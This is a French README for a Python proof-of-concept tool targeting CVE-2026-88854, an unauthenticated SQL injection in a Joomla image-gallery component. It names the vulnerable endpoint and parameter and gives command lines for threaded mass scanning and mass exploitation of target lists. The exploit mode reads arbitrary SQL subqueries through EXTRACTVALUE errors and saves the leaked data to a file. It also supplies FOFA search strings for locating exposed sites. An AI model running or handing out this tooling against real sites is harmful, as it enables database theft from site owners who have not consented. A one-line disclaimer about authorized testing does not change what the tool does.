
Scanner PoC et exploit en Python 3 pour CVE-2026-88854, une injection SQL non authentifiée dans OrdaSoft Joomla Gallery, avec vérification de masse et modes de lecture de données EXTRACTVALUE.
Scanner/exploit PoC en Python 3 pour CVE-2026-88854 dans OrdaSoft OS Responsive Image Gallery pour Joomla.
| Composant | com_osgallery, com_osgallery_light |
| Affecté | 1.0.0 – 6.2.6 |
| Corrigé dans | 6.2.7+ |
| CVSS 4.0 | 9.3 (Critique) |
| Auth | Aucune (public mod_osgallery_search) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax() lisent textsearch / searchText via $input->getVar(), qui n'applique pas d'échappement SQL approprié. La valeur est concaténée dans une clause LIKE. Des visiteurs non authentifiés peuvent utiliser une injection de type UNION pour lire le contenu de la base de données.
Surface de requête typique :
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
Les installations héritées peuvent utiliser le nom de tâche searhResult (faute de frappe).
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| Fichier | Contenu |
|---|---|
cve_2026_88854_results.jsonl | JSON par cible |
hits.txt | URLs candidates (exploitable_candidate) |
status courantes (check)audit_scan.py)Après un check en masse, exécutez audit_scan.py pour récupérer à nouveau les manifestes d'administration et répartir les cibles :
La version de la galerie est lue depuis l'élément <version> dans administrator/components/com_osgallery/osgallery.xml, et non depuis l'attribut Joomla extension version=.
EXTRACTVALUE basé sur erreur MySQL ; MariaDB/Postgres, erreurs désactivées ou WAF peuvent ne produire aucune fuite même lorsque la CVE s'applique.https://host/site).app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Les listes de cibles locales et les artefacts d'exécution (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) sont dans .gitignore et ne doivent pas être commités.
Pour des tests de sécurité autorisés uniquement. Vous êtes responsable du respect des lois applicables et des règles du programme.
| Option | Description |
|---|
-u, --url | URL de base d'une cible unique (installations en sous-répertoire : inclure le chemin) |
--list | Fichier de liste de cibles (une URL par ligne) |
--mode | check ou exploit |
--subquery | SQL à l'intérieur de EXTRACTVALUE (mode exploit, par défaut SELECT VERSION()) |
--threads, -j | Concurrence en masse (par défaut 20) |
--timeout | Délai HTTP en secondes (par défaut 20) |
--proxy | URL du proxy HTTP(S) |
--output | Résultats JSONL (par défaut cve_2026_88854_results.jsonl) |
--vuln-list | Check → hits.txt ; exploit → exploited.txt |
--quiet, -q | Sortie de progression réduite |
| Statut | Signification |
|---|
sqli_confirmed | SQLi basée sur erreur/temps ou fuite EXTRACTVALUE vérifiée |
likely_vulnerable_version | Version du manifeste ≤ 6.2.6 + endpoint de recherche |
likely_component | Galerie détectée, version inconnue |
boolean_inconclusive | Différence de longueur de réponse uniquement (souvent un WAF) ; non compté comme confirmé |
patched_version | Version du manifeste > 6.2.6 |
component_no_search_endpoint | Composant présent, tâche de recherche non accessible |
no_component | com_osgallery non détecté |
| Fichier | Contenu |
|---|
hits_version_lte_626.txt | Version de la galerie dans le manifeste ≤ 6.2.6 |
hits_component_endpoint.txt | Galerie + endpoint, version illisible |
hits_patched.txt | Manifeste > 6.2.6 |
fofa_stale.txt | Aucun composant (ligne FOFA obsolète) |
cve_2026_88854_audit.jsonl | JSONL enrichi |